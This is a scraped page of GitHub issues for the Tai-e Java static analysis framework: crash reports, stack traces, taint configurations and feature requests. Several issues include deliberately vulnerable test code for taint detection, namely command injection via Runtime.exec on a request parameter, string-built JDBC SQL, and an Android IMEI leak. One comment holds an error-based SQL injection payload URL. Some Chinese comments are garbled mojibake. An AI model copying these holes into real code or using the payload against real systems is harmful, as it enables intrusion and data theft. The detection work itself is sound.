pascal-lab / tai-e Goto Github PK
View Code? Open in Web Editor NEWAn easy-to-learn/use static analysis framework for Java
Home Page: https://tai-e.pascal-lab.net/docs/index.html
License: GNU Lesser General Public License v3.0
An easy-to-learn/use static analysis framework for Java
Home Page: https://tai-e.pascal-lab.net/docs/index.html
License: GNU Lesser General Public License v3.0
when using --input-classes, it will occur the Runtime error
Exception in thread "main" java.lang.RuntimeException: Attempt to create RefType containing a / --> tomcat-embed-core-8.5.85.jar
at soot.RefType.<init>(RefType.java:57)
at soot.Scene.lambda$getOrAddRefType$1(Scene.java:2232)
at java.base/java.util.concurrent.ConcurrentHashMap.computeIfAbsent(ConcurrentHashMap.java:1708)
at soot.Scene.getOrAddRefType(Scene.java:2232)
at soot.RefType.v(RefType.java:85)
at soot.SootClass.initializeRefType(SootClass.java:158)
at soot.SootClass.<init>(SootClass.java:140)
at soot.SootClass.<init>(SootClass.java:127)
at soot.SootResolver.makeClassRef(SootResolver.java:138)
at soot.SootResolver.resolveClass(SootResolver.java:153)
at soot.Scene.loadClass(Scene.java:1016)
at soot.Scene.loadClassAndSupport(Scene.java:1003)
at soot.Scene.loadNecessaryClass(Scene.java:1944)
at soot.Scene.loadNecessaryClasses(Scene.java:1956)
at soot.Main.run(Main.java:240)
at pascal.taie.frontend.soot.SootWorldBuilder.runSoot(SootWorldBuilder.java:256)
at pascal.taie.frontend.soot.SootWorldBuilder.build(SootWorldBuilder.java:84)
at pascal.taie.Main.lambda$buildWorld$3(Main.java:132)
at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
at pascal.taie.util.Timer.runAndCount(Timer.java:93)
at pascal.taie.util.Timer.runAndCount(Timer.java:111)
at pascal.taie.util.Timer.runAndCount(Timer.java:107)
at pascal.taie.Main.buildWorld(Main.java:124)
at pascal.taie.Main.lambda$main$0(Main.java:60)
I think that is a bug in Soot, but I just want to know that someone has the idea which can handle the situation.I also searched in soot issues and did not find any solutions.
--input-classes="/tmp/tomcat-embed-core-8.5.85.jar"
No response
Exception in thread "main" java.lang.OutOfMemoryError: Java heap space
at pascal.taie.util.collection.SparseBitSet.getOrCreateBlock(SparseBitSet.java:1017)
at pascal.taie.util.collection.SparseBitSet.set(SparseBitSet.java:187)
at pascal.taie.util.collection.GenericBitSet.add(GenericBitSet.java:71)
at java.base/java.util.AbstractCollection.addAll(AbstractCollection.java:336)
at pascal.taie.util.collection.GenericBitSet.addAll(GenericBitSet.java:103)
at pascal.taie.util.collection.AbstractHybridSet.upgradeToLargeSet(AbstractHybridSet.java:149)
at pascal.taie.util.collection.AbstractHybridSet.addAll(AbstractHybridSet.java:175)
at pascal.taie.analysis.pta.pts.DelegatePointsToSet.addAll(DelegatePointsToSet.java:51)
at pascal.taie.analysis.pta.core.solver.WorkList.addEntry(WorkList.java:55)
at pascal.taie.analysis.pta.core.solver.DefaultSolver.addPointsTo(DefaultSolver.java:730)
at pascal.taie.analysis.pta.core.solver.DefaultSolver.addPFGEdge(DefaultSolver.java:772)
at pascal.taie.analysis.pta.core.solver.Solver.addPFGEdge(Solver.java:136)
at pascal.taie.analysis.pta.core.solver.DefaultSolver.processCallEdge(DefaultSolver.java:515)
at pascal.taie.analysis.pta.core.solver.DefaultSolver.analyze(DefaultSolver.java:321)
at pascal.taie.analysis.pta.core.solver.DefaultSolver.solve(DefaultSolver.java:246)
at pascal.taie.analysis.pta.PointerAnalysis.runAnalysis(PointerAnalysis.java:118)
at pascal.taie.analysis.pta.PointerAnalysis.analyze(PointerAnalysis.java:106)
at pascal.taie.analysis.pta.PointerAnalysis.analyze(PointerAnalysis.java:63)
at pascal.taie.analysis.AnalysisManager.runProgramAnalysis(AnalysisManager.java:148)
at pascal.taie.analysis.AnalysisManager.runAnalysis(AnalysisManager.java:135)
at pascal.taie.analysis.AnalysisManager.lambda$execute$0(AnalysisManager.java:104)
at pascal.taie.analysis.AnalysisManager$$Lambda$251/0x0000000800ece440.get(Unknown Source)
at pascal.taie.util.Timer.runAndCount(Timer.java:93)
at pascal.taie.analysis.AnalysisManager.lambda$execute$1(AnalysisManager.java:103)
at pascal.taie.analysis.AnalysisManager$$Lambda$250/0x0000000800ecdfe8.accept(Unknown Source)
at java.base/java.util.ArrayList.forEach(ArrayList.java:1511)
at pascal.taie.analysis.AnalysisManager.execute(AnalysisManager.java:102)
at pascal.taie.Main.executePlan(Main.java:148)
at pascal.taie.Main.lambda$main$0(Main.java:60)
at pascal.taie.Main$$Lambda$132/0x0000000800d8d928.run(Unknown Source)
at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
at pascal.taie.util.Timer$$Lambda$133/0x0000000800d8dd80.get(Unknown Source)
Process finished with exit code 1
I specified 126 main methods as entry points and 70 Hadoop jars as input for pointer analysis. When I set the context selector to insensitivity and 1-limiting sensitivity, Tai-e worked normally. However, when I set it to two-limiting sensitivity (whether 2-obj or 2-call), Tai-e threw the OutOfMemoryError
exception.
OS: Ubuntu 18.04
Physical memory: 64GB
The version of Tai-e: latest (10a633f)
Thank you so much!
I notice that: for point analysis, it will ignore array load or store stmt if array consists of primitive type elements.
follow is code in DefaultSolver
public class DefaultSolver implements Solver {
private static boolean isConcerned(Exp exp) {
Type type = exp.getType();
return type instanceof ReferenceType && !(type instanceof NullType);
}
private void processArrayLoad(CSVar arrayVar, PointsToSet pts) {
Context context = arrayVar.getContext();
Var var = arrayVar.getVar();
for (LoadArray load : var.getLoadArrays()) {
Var lvalue = load.getLValue();
if (isConcerned(lvalue)) {
...
}
}
}
...
}
it work well for point analysis, because primitive isn't a pointer, can't pass object reference.
But In Taint analysis, I think ignoring primitive type array isn't good choice.
follow is an example
char[] buffer;
String str = sources(); // taint object, type=String
buffer = str.toCharArray(); // ignored, even if add taint transfer rules
sink(buffer)
Essentially, Taint analysis focus on variable value, and value can be passed through primitive type variable too. therefore Ignoring primitive type causes taint flow interruption.
Maybe we should take primitive type into account for taint analysis?
Hello, Is it possible to remove the following bolding statement? I thought the propagate function in the DefaultSolver will cover the final pointer flow stuff,
addPointsTo(target, targetSet);
public void addPFGEdge(Pointer source, Pointer target, PointerFlowEdge.Kind kind,
Transfer transfer) {
PointerFlowEdge edge = new PointerFlowEdge(kind, source, target, transfer);
if (pointerFlowGraph.addEdge(edge)) {
PointsToSet targetSet = transfer.apply(edge, getPointsToSetOf(source));
if (!targetSet.isEmpty()) {
addPointsTo(target, targetSet);
}
}
}
Hello everyone. The ICFG was built in different kinds of traversal sequences with the same code. It may cause different analysis results that are hard to debug. How could I create a fixed ICFG?
-cp=E:\Java project repositories\ConfigACE\workspace\test\test.jar
-m=org.apache.hadoop.hdfs.server.namenode.TestNode
-a=myprogram
-a=inter-taint
-ap
Windows 11 x64
java 17.0.4
latest
Hi all! I encountered a problem when I analyzed a program containing lambda expressions. In the following sections, I will introduce my process of reproducing the problem in the experimental environment, my expected results and the description of the problem.
Modified source code in file src/test/resources/pta/taint/SimpleTaint.java
:
import java.util.ArrayList;
import java.util.List;
class SimpleTaint {
public static void main(String[] args) {
List<SourceSink> sourceSinkList = new ArrayList<>();
SourceSink s1 = new SourceSink();
SourceSink s2 = new SourceSink();
sourceSinkList.add(s1);
sourceSinkList.add(s2);
List<String> stringList = convert(sourceSinkList);
sink(stringList);
}
public static List<String> convert(List<SourceSink> p) {
List<String> res = new ArrayList<>();
if (p.isEmpty()) {
return res;
}
p.stream().forEach( s -> {
String tmp = s.tainted2;
res.add(tmp);
});
return res;
}
public static void sink(List list) {}
}
Added taint rules in file src/test/resources/pta/taint/taint-config.yml
:
sources:
- { kind: field, field: "<SourceSink: java.lang.String tainted2>" }
sinks:
- { method: "<SimpleTaint: void sink(java.lang.List)>", index: 0 }
transfers:
- { method: "<java.util.ArrayList: boolean add(java.lang.Object)>", from: 0, to: base }
Modified the function isIgnored
in file src/main/java/pascal/taie/analysis/pta/core/solver/DefaultSolver.java
:
private boolean isIgnored(JMethod method) {
if (method.toString().contains("java.util")
|| method.toString().contains("java.lang.invoke.LambdaMetafactory")
) {
return false;
}
return ignoredMethods.contains(method) ||
onlyApp && !method.isApplication();
}
Tai-e arguments:
-pp -ap -cp src/test/resources/pta/taint -m SimpleTaint -java 17 -a "pta=cs:2-obj;dump:true;only-app:true;taint-config:src/test/resources/pta/taint/taint-config.yml;handle-invokedynamic:true;implicit-entries:false"
In function SimpleTaint:convert()
, the taint source is s.tainted2
, which should be propagated to the list res
via the "transfer" rule in taint-config, then returned to the list stringList
in main()
and finally passed to sink()
.
In the jimple file, the lambda expression is converted to a function named void lambda$convert$0(java.util.List,SourceSink)
, where the first parameter should be the target list, i.e. res
, and the second parameter is the local variable s
. The related parts of the jimple file are showed as follows:
Parts of file SimpleTaint.jimple
:
public static java.util.List convert(java.util.List)
{
java.util.function.Consumer $r3;
java.util.ArrayList $r0;
$r0 = new java.util.ArrayList;
$r3 = dynamicinvoke "accept" <java.util.function.Consumer (java.util.List)>($r0) <java.lang.invoke.LambdaMetafactory: java.lang.invoke.CallSite metafactory(java.lang.invoke.MethodHandles$Lookup,java.lang.String,java.lang.invoke.MethodType,java.lang.invoke.MethodType,java.lang.invoke.MethodHandle,java.lang.invoke.MethodType)>(methodtype: void __METHODTYPE__(java.lang.Object), methodhandle: "REF_INVOKE_STATIC" <SimpleTaint: void lambda$convert$0(java.util.List,SourceSink)>, methodtype: void __METHODTYPE__(SourceSink));
return $r0;
}
private static void lambda$convert$0(java.util.List, SourceSink)
{
java.util.List r2;
java.lang.String r1;
SourceSink r0;
r2 := @parameter0: java.util.List;
r0 := @parameter1: SourceSink;
r1 = r0.<SourceSink: java.lang.String tainted2>;
interfaceinvoke r2.<java.util.List: boolean add(java.lang.Object)>(r1);
return;
}
According to the jimple code and the pta-results, r1
and r2
in lambda$convert$0()
are tainted, which is consistent with our expectations. But $r0
in convert()
is not tainted, which is the result returned to main()
.
Parts of the file pta-results.txt
:
[]:<SimpleTaint: void lambda$convert$0(java.util.List,SourceSink)>/r2 -> [[]:NewObj{<SimpleTaint: java.util.List convert(java.util.List)>[0@L49] new java.util.ArrayList}, []:TaintObj{alloc=<SimpleTaint: void lambda$convert$0(java.util.List,SourceSink)> [0@L55] r1 = r0.<SourceSink: java.lang.String tainted2>,type=java.util.ArrayList}]
[]:<SimpleTaint: java.util.List convert(java.util.List)>/$r0 -> [[]:NewObj{<SimpleTaint: java.util.List convert(java.util.List)>[0@L49] new java.util.ArrayList}]
In my understanding, $r0
in convert()
should be the first parameter of lambda$convert$0()
, that is, $r0
in convert()
and r2
in lambda$convert$0()
should have the same address and same pointer set, which means that the TaintObj
in the pointer set of lambda$convert$0()/r2
should be propagated to that of convert()/$r0
.
Is my understanding correct? If so, how can I propagate the pointer set from lambda$convert$0()/r2
to convert()/$r0
? Thanks!
-pp -ap -cp src/test/resources/pta/taint -m SimpleTaint -java 17 -a "pta=cs:2-obj;dump:true;only-app:true;taint-config:src/test/resources/pta/taint/taint-config.yml;handle-invokedynamic:true;implicit-entries:false"
No response
When I was using tai-e to analyze java web applications, I found that --input-classes
was not able to meet the usage scenario.
In #19, I added a custom program entry point via onStart.
package com.example.demo.controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
@RestController
public class TestController {
@RequestMapping("/")
public String index(HttpServletRequest request) throws IOException {
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
return "hello";
}
}
and run with this args.
-cp
/Users/ddd/IdeaProjects/demo/target/classes/:/Users/ddd/IdeaProjects/demo/javax.servlet-api-4.0.1.jar
--input-classes=com.example.demo.HelloServlet,javax.servlet.http.HttpServletRequestWrapper
-java
8
-ap
-a
pta=action:dump;action-file:dumpfile;taint-config:src/test/resources/pta/taint/taint-config.yml
As a small demo this is fine, but in a real large java web application, the -input-classes
parameter can cause some problems.
In the automated code audit, I need to add all the route endpoints to the entry point, and if I don't add the class names of the route endpoints and the class names of the parameters to the --input-classes
collection, then neither the entry point nor the mock parameters can be added via World.get().getClassHierarchy(). getClass(xx)
to get the corresponding class.
So it is requested to enhance this feature or give a more suitable way.
thanks.
I don't have any good ideas.
No response
No response
In taint analysis, if we need to add new sink rules, we not only need to reconfigure the taint-config.yml file, but also need to add the entity class corresponding to the sink method; therefore, as more and more rules are added, the program of pointer analysis is getting bigger and bigger, which leads to a sharp increase in the time consumption of pointer analysis(taint analysis).
For example https://github.com/j3ers3/Hello-Java-Sec/blob/master/src/main/java/com/best/hello/controller/SQLI/JDBC.java
@Api("SQLๆณจๅ
ฅ - JDBC")
@RestController
@RequestMapping("/SQLI/JDBC")
public class JDBC {
/**
* @poc http://127.0.0.1:8888/SQLI/JDBC/vul1?id=1' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)--%20+
*/
@ApiOperation(value = "vul: JDBC่ฏญๅฅๆผๆฅ")
@GetMapping("/vul1")
public String vul1(String id) {
StringBuilder result = new StringBuilder();
try {
Class.forName("com.mysql.cj.jdbc.Driver");
Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);
Statement stmt = conn.createStatement();
String sql = "select * from users where id = '" + id + "'";
log.info("[vul] ๆง่กSQL่ฏญๅฅ๏ผ " + sql);
ResultSet rs = stmt.executeQuery(sql);
while (rs.next()) {
String res_name = rs.getString("user");
String res_pass = rs.getString("pass");
String info = String.format("ๆฅ่ฏข็ปๆ %s: %s", res_name, res_pass);
result.append(info);
}
rs.close();
stmt.close();
conn.close();
return result.toString();
} catch (Exception e) {
// ่พๅบ้่ฏฏ๏ผ็จไบๆฅ้ๆณจๅ
ฅ
return e.toString();
}
}
In order to detect SQL injection, add stmt.executeQuery
as the sink point, we need to add it on the original basic options
-cp mysql-connector-java-8.0.28.jar
--input-classes "com.mysql.cj.jdbc.StatementImpl"
--input-classes "com.mysql.cj.jdbc.Driver"
--input-classes "java.sql.DriverManager"
and add rule in taint-config.yml
- { method: "<com.mysql.cj.jdbc.StatementImpl: java.sql.ResultSet executeQuery(java.lang.String)>", index: 0 }
In fact, tir can translate stmt.executeQuery
into invokeinterface call
[24@L64] invokeinterface $r14.<org.slf4j.Logger: void info(java.lang.String)>($r17);
[25@L65] $r18 = invokeinterface $r6.<java.sql.Statement: java.sql.ResultSet executeQuery(java.lang.String)>($r12);
[26@L67] $z0 = invokeinterface $r18.<java.sql.ResultSet: boolean next()>();
Is it possible to add an option optimization for taint analysis?
taint-config.yml supports the configuration of invokeinterface method call rules; Especially when the data flow is interrupted or missing, the method call identifier of invokeinterface is still added to the callgraph.
In the following example I mentioned, I only want to add a sink in taint-config.yml and no need to add some jar or input-classes in particular.
- { method: "<java.sql.Statement: java.sql.ResultSet executeQuery(java.lang.String)>", index: 0 }
I think it will imporve the taint analysis efficiency and not affects PTA.
Hello everyone. I have a question about building ICFG. WALA has a class AllApplicationEntrypoints
that Call Graph can be constructed more accurately with all application entrypoints. But in Tai-e, it seems like the main class should only be specified as a single entrypoint with the option -m
.
If the options for an analysis is blank on tai-e-analyses.yml, the ObjectMapper will set the Analysis.config.options as Collections$EmptyMap. see Planconfig.parseConfig
I set options by CLI argument which overwrite the Analyssi.config.options managed by ConfigManager. see ConfigManager.overwriteOptions
But the options is an Collections$EmptyMap which is fixed-size. Calling putAll on it throws UsuprotedOperationException.
List<AnalysisConfig> analysisConfigs = AnalysisConfig.parseConfigs(content); // EmptyMap
ConfigManager manager = new ConfigManager(analysisConfigs);
AnalysisPlanner planner = new AnalysisPlanner(
manager, options.getKeepResult());
boolean reachableScope = options.getScope().equals(Scope.REACHABLE);
if (!options.getAnalyses().isEmpty()) {
// Analyses are specified by options
List<PlanConfig> planConfigs = PlanConfig.readConfigs(options);
manager.overwriteOptions(planConfigs); // overwrite
Maybe my java version (jdk 17) is not right, or maybe it's a bug.
Hello everyone. I am new to taint analysis. Documentation illustrates that the taint analysis in Tai-e is on the top of the pointer analysis framework.
Q1: Does it mean that taint analysis cannot trace the data flow of primitive data type?
Q2: Could I run it without specifying the sinks to propagate the taint as far as possible?
Thank you so much!
Class MapEntry implements the interface Serializable, but there's no field serialVersionUID defined in this class.
Field serialVersionUID can be automatically generated, but maybe different in different environment.
Does it design on purpose?
I am using Tai-e's taint analysis to analyze a simple Android java program, the code is as follows๏ผ
package org.arguslab.native_leak;
import android.Manifest;
import android.app.Activity;
import android.content.pm.PackageManager;
import android.os.Bundle;
import android.telephony.TelephonyManager;
public class MainActivity extends Activity {
static {
System.loadLibrary("leak"); // "libleak.so"
}
public static native void send(String data);
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
if (checkSelfPermission(Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) {
requestPermissions(new String[]{Manifest.permission.READ_PHONE_STATE}, 1);
}
}
private void leakImei() {
TelephonyManager tel = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
if (checkSelfPermission(Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) {
return;
}
String imei = tel.getDeviceId(); // source
send(imei); // sink
}
@Override
public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) {
switch (requestCode) {
case 1: {
leakImei();
return;
}
}
}
}
}
I have configured entryPoint with reference to #19 ,
public void onStart() {
JClass mainClass = World.get().getClassHierarchy().getClass("org.arguslab.native_leak.MainActivity");
JMethod method = mainClass.getDeclaredMethod("leakImei");
solver.addEntryPoint(new EntryPoint(method, EmptyParamProvider.get()));
}
taint-config.yml
sources:
- { method: "<android.telephony.TelephonyManager: java.lang.String getDeviceId()>", type: "java.lang.String" }
sinks:
- { method: "<org.arguslab.native_leak.MainActivity: void send(java.lang.String)>", index: 0 }
I found that source method getDeviceId()
was not processed during taint analysis, so I never got the desired output. I have tried many times according to #19, but I still failed. Can you help me if you have time? thanks
code
native_leak-dex2jar.jar.zip
android.jar.zip
my command line:
-cp /Users/Tai-e-tools/native_leak-dex2jar.jar:/Users/Tai-e-tools/android.jar --input-classes=org.arguslab.native_leak.MainActivity,android.telephony.TelephonyManager,android.app.Activity -java 8 -ap -a "pta=taint-config:/Users/Tai-e-tools/taint-config.yml;action:dump;"
No response
SootUp is more modern ๏ผe.g.,
Fully-Parallelizable Architecture
No response
No response
if you provide a sink rules like
sinks:
- { method: "<SourceSink: void sink(java.lang.String,java.lang.String)>", index: 0 }
- { method: "<SourceSink: void sink(java.lang.String,java.lang.String)>", index: 1 }
it will occur errors
Exception in thread "main" java.lang.IllegalStateException: Duplicate key <SourceSink: void sink(java.lang.String,java.lang.String)> (attempted merging values <SourceSink: void sink(java.lang.String,java.lang.String)>/0 and <SourceSink: void sink(java.lang.String,java.lang.String)>/1)
at java.base/java.util.stream.Collectors.duplicateKeyException(Collectors.java:135)
at java.base/java.util.stream.Collectors.lambda$uniqKeysMapAccumulator$1(Collectors.java:182)
at java.base/java.util.stream.ReduceOps$3ReducingSink.accept(ReduceOps.java:169)
at java.base/java.util.ArrayList$ArrayListSpliterator.forEachRemaining(ArrayList.java:1625)
at java.base/java.util.stream.AbstractPipeline.copyInto(AbstractPipeline.java:509)
at java.base/java.util.stream.AbstractPipeline.wrapAndCopyInto(AbstractPipeline.java:499)
at java.base/java.util.stream.ReduceOps$ReduceOp.evaluateSequential(ReduceOps.java:921)
at java.base/java.util.stream.AbstractPipeline.evaluate(AbstractPipeline.java:234)
at java.base/java.util.stream.ReferencePipeline.collect(ReferencePipeline.java:682)
at pascal.taie.analysis.pta.plugin.taint.SinkHandler.collectTaintFlows(SinkHandler.java:73)
at pascal.taie.analysis.pta.plugin.taint.TaintAnalysis.onFinish(TaintAnalysis.java:97)
at java.base/java.util.ArrayList.forEach(ArrayList.java:1511)
-ap -java 8
-acp "/target/classes"
-m "test"
-a "pta=cs:ci;only-app:false;implicit-entries:false;taint-config:taint-config.yml;dump:true"
No response
Exception in thread "main" pascal.taie.ir.proginfo.MethodResolutionFailedException: Cannot resolve <java.lang.invoke.StringConcatFactory: java.lang.invoke.CallSite makeConcatWithConstants(java.lang.invoke.MethodHandles$Lookup,java.lang.String,java.lang.invoke.MethodType,java.lang.String,java.lang.Object[])>
at pascal.taie.ir.proginfo.MethodRef.resolve(MethodRef.java:180)
at pascal.taie.analysis.pta.plugin.invokedynamic.LambdaAnalysis.isLambdaMetaFactory(LambdaAnalysis.java:122)
at java.base/java.util.stream.ReferencePipeline$2$1.accept(ReferencePipeline.java:178)
at java.base/java.util.stream.ReferencePipeline$2$1.accept(ReferencePipeline.java:179)
at java.base/java.util.stream.ReferencePipeline$2$1.accept(ReferencePipeline.java:179)
at java.base/java.util.stream.ReferencePipeline$3$1.accept(ReferencePipeline.java:197)
at java.base/java.util.stream.ReferencePipeline$2$1.accept(ReferencePipeline.java:179)
at java.base/java.util.AbstractList$RandomAccessSpliterator.forEachRemaining(AbstractList.java:720)
at java.base/java.util.stream.AbstractPipeline.copyInto(AbstractPipeline.java:509)
at java.base/java.util.stream.AbstractPipeline.wrapAndCopyInto(AbstractPipeline.java:499)
at java.base/java.util.stream.ForEachOps$ForEachOp.evaluateSequential(ForEachOps.java:150)
at java.base/java.util.stream.ForEachOps$ForEachOp$OfRef.evaluateSequential(ForEachOps.java:173)
at java.base/java.util.stream.AbstractPipeline.evaluate(AbstractPipeline.java:234)
at java.base/java.util.stream.ReferencePipeline.forEach(ReferencePipeline.java:596)
at pascal.taie.analysis.pta.plugin.invokedynamic.LambdaAnalysis.onNewMethod(LambdaAnalysis.java:104)
at pascal.taie.analysis.pta.plugin.CompositePlugin.lambda$onNewMethod$3(CompositePlugin.java:115)
at java.base/java.util.ArrayList.forEach(ArrayList.java:1511)
at pascal.taie.analysis.pta.plugin.CompositePlugin.onNewMethod(CompositePlugin.java:115)
at pascal.taie.analysis.pta.core.solver.DefaultSolver.processNewMethod(DefaultSolver.java:497)
at pascal.taie.analysis.pta.core.solver.DefaultSolver.addCSMethod(DefaultSolver.java:780)
at pascal.taie.analysis.pta.core.solver.DefaultSolver.addEntryPoint(DefaultSolver.java:748)
at pascal.taie.analysis.pta.plugin.taint.TaintAnalysis.lambda$onStart$2(TaintAnalysis.java:134)
at java.base/java.util.LinkedHashMap$LinkedValues.forEach(LinkedHashMap.java:647)
at java.base/java.util.Collections$UnmodifiableCollection.forEach(Collections.java:1092)
at pascal.taie.analysis.pta.plugin.taint.TaintAnalysis.lambda$onStart$3(TaintAnalysis.java:111)
at java.base/java.util.stream.ForEachOps$ForEachOp$OfRef.accept(ForEachOps.java:183)
at java.base/java.util.stream.ReferencePipeline$2$1.accept(ReferencePipeline.java:179)
at java.base/java.util.ArrayList$ArrayListSpliterator.forEachRemaining(ArrayList.java:1625)
at java.base/java.util.stream.AbstractPipeline.copyInto(AbstractPipeline.java:509)
at java.base/java.util.stream.AbstractPipeline.wrapAndCopyInto(AbstractPipeline.java:499)
at java.base/java.util.stream.ForEachOps$ForEachOp.evaluateSequential(ForEachOps.java:150)
at java.base/java.util.stream.ForEachOps$ForEachOp$OfRef.evaluateSequential(ForEachOps.java:173)
at java.base/java.util.stream.AbstractPipeline.evaluate(AbstractPipeline.java:234)
at java.base/java.util.stream.ReferencePipeline.forEach(ReferencePipeline.java:596)
at pascal.taie.analysis.pta.plugin.taint.TaintAnalysis.onStart(TaintAnalysis.java:109)
at java.base/java.util.ArrayList.forEach(ArrayList.java:1511)
at pascal.taie.analysis.pta.plugin.CompositePlugin.onStart(CompositePlugin.java:95)
at pascal.taie.analysis.pta.core.solver.DefaultSolver.initialize(DefaultSolver.java:256)
at pascal.taie.analysis.pta.core.solver.DefaultSolver.solve(DefaultSolver.java:237)
at pascal.taie.analysis.pta.PointerAnalysis.runAnalysis(PointerAnalysis.java:118)
at pascal.taie.analysis.pta.PointerAnalysis.analyze(PointerAnalysis.java:106)
at pascal.taie.analysis.pta.PointerAnalysis.analyze(PointerAnalysis.java:63)
at pascal.taie.analysis.AnalysisManager.runProgramAnalysis(AnalysisManager.java:147)
at pascal.taie.analysis.AnalysisManager.runAnalysis(AnalysisManager.java:120)
at pascal.taie.analysis.AnalysisManager.lambda$execute$0(AnalysisManager.java:104)
at pascal.taie.util.Timer.runAndCount(Timer.java:93)
at pascal.taie.analysis.AnalysisManager.lambda$execute$1(AnalysisManager.java:103)
at java.base/java.util.ArrayList.forEach(ArrayList.java:1511)
at pascal.taie.analysis.AnalysisManager.execute(AnalysisManager.java:102)
at pascal.taie.Main.executePlan(Main.java:143)
at pascal.taie.Main.lambda$main$0(Main.java:57)
at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
at pascal.taie.util.Timer.runAndCount(Timer.java:93)
at pascal.taie.util.Timer.runAndCount(Timer.java:111)
at pascal.taie.util.Timer.runAndCount(Timer.java:107)
at pascal.taie.Main.main(Main.java:49)
resolve:180, MethodRef (pascal.taie.ir.proginfo)
isLambdaMetaFactory:122, LambdaAnalysis (pascal.taie.analysis.pta.plugin.invokedynamic)
test:-1, LambdaAnalysis$$Lambda$272/0x0000000800ea9a70 (pascal.taie.analysis.pta.plugin.invokedynamic)
accept:178, ReferencePipeline$2$1 (java.util.stream)
accept:179, ReferencePipeline$2$1 (java.util.stream)
accept:179, ReferencePipeline$2$1 (java.util.stream)
accept:197, ReferencePipeline$3$1 (java.util.stream)
accept:179, ReferencePipeline$2$1 (java.util.stream)
forEachRemaining:720, AbstractList$RandomAccessSpliterator (java.util)
copyInto:509, AbstractPipeline (java.util.stream)
wrapAndCopyInto:499, AbstractPipeline (java.util.stream)
evaluateSequential:150, ForEachOps$ForEachOp (java.util.stream)
evaluateSequential:173, ForEachOps$ForEachOp$OfRef (java.util.stream)
evaluate:234, AbstractPipeline (java.util.stream)
forEach:596, ReferencePipeline (java.util.stream)
onNewMethod:104, LambdaAnalysis (pascal.taie.analysis.pta.plugin.invokedynamic)
lambda$onNewMethod$3:115, CompositePlugin (pascal.taie.analysis.pta.plugin)
accept:-1, CompositePlugin$$Lambda$262/0x0000000800ea8240 (pascal.taie.analysis.pta.plugin)
forEach:1511, ArrayList (java.util)
onNewMethod:115, CompositePlugin (pascal.taie.analysis.pta.plugin)
processNewMethod:497, DefaultSolver (pascal.taie.analysis.pta.core.solver)
addCSMethod:780, DefaultSolver (pascal.taie.analysis.pta.core.solver)
addEntryPoint:748, DefaultSolver (pascal.taie.analysis.pta.core.solver)
lambda$onStart$2:134, TaintAnalysis (pascal.taie.analysis.pta.plugin.taint)
accept:-1, TaintAnalysis$$Lambda$300/0x0000000800ebc460 (pascal.taie.analysis.pta.plugin.taint)
forEach:647, LinkedHashMap$LinkedValues (java.util)
forEach:1092, Collections$UnmodifiableCollection (java.util)
lambda$onStart$3:111, TaintAnalysis (pascal.taie.analysis.pta.plugin.taint)
accept:-1, TaintAnalysis$$Lambda$297/0x0000000800eb7cb8 (pascal.taie.analysis.pta.plugin.taint)
accept:183, ForEachOps$ForEachOp$OfRef (java.util.stream)
accept:179, ReferencePipeline$2$1 (java.util.stream)
forEachRemaining:1625, ArrayList$ArrayListSpliterator (java.util)
copyInto:509, AbstractPipeline (java.util.stream)
wrapAndCopyInto:499, AbstractPipeline (java.util.stream)
evaluateSequential:150, ForEachOps$ForEachOp (java.util.stream)
evaluateSequential:173, ForEachOps$ForEachOp$OfRef (java.util.stream)
evaluate:234, AbstractPipeline (java.util.stream)
forEach:596, ReferencePipeline (java.util.stream)
onStart:109, TaintAnalysis (pascal.taie.analysis.pta.plugin.taint)
accept:-1, CompositePlugin$$Lambda$259/0x0000000800ea76c0 (pascal.taie.analysis.pta.plugin)
forEach:1511, ArrayList (java.util)
onStart:95, CompositePlugin (pascal.taie.analysis.pta.plugin)
initialize:256, DefaultSolver (pascal.taie.analysis.pta.core.solver)
solve:237, DefaultSolver (pascal.taie.analysis.pta.core.solver)
runAnalysis:118, PointerAnalysis (pascal.taie.analysis.pta)
analyze:106, PointerAnalysis (pascal.taie.analysis.pta)
analyze:63, PointerAnalysis (pascal.taie.analysis.pta)
runProgramAnalysis:147, AnalysisManager (pascal.taie.analysis)
runAnalysis:120, AnalysisManager (pascal.taie.analysis)
lambda$execute$0:104, AnalysisManager (pascal.taie.analysis)
get:-1, AnalysisManager$$Lambda$213/0x0000000800e50a80 (pascal.taie.analysis)
runAndCount:93, Timer (pascal.taie.util)
lambda$execute$1:103, AnalysisManager (pascal.taie.analysis)
accept:-1, AnalysisManager$$Lambda$212/0x0000000800e50638 (pascal.taie.analysis)
forEach:1511, ArrayList (java.util)
execute:102, AnalysisManager (pascal.taie.analysis)
executePlan:143, Main (pascal.taie)
lambda$main$0:57, Main (pascal.taie)
run:-1, Main$$Lambda$89/0x0000000800d17440 (pascal.taie)
lambda$runAndCount$0:112, Timer (pascal.taie.util)
get:-1, Timer$$Lambda$90/0x0000000800d17888 (pascal.taie.util)
runAndCount:93, Timer (pascal.taie.util)
runAndCount:111, Timer (pascal.taie.util)
runAndCount:107, Timer (pascal.taie.util)
main:49, Main (pascal.taie)
at pascal.taie.analysis.pta.core.solver.DefaultSolver#processNewMethod
<com.vmware.vcops.casa.security.SecurityController: com.vmware.vcops.casa.support.HttpMapResponse[] manageCertOnCluster(java.lang.String,java.lang.String)>[5@L596] $r15 = invokedynamic <java.lang.invoke.StringConcatFactory: java.lang.invoke.CallSite makeConcatWithConstants(java.lang.invoke.MethodHandles$Lookup,java.lang.String,java.lang.invoke.MethodType,java.lang.String,java.lang.Object[])> "makeConcatWithConstants" <MethodType: java.lang.String (java.lang.String)>["Illegal enum for certificate action: ๏ฟฝ"](action)
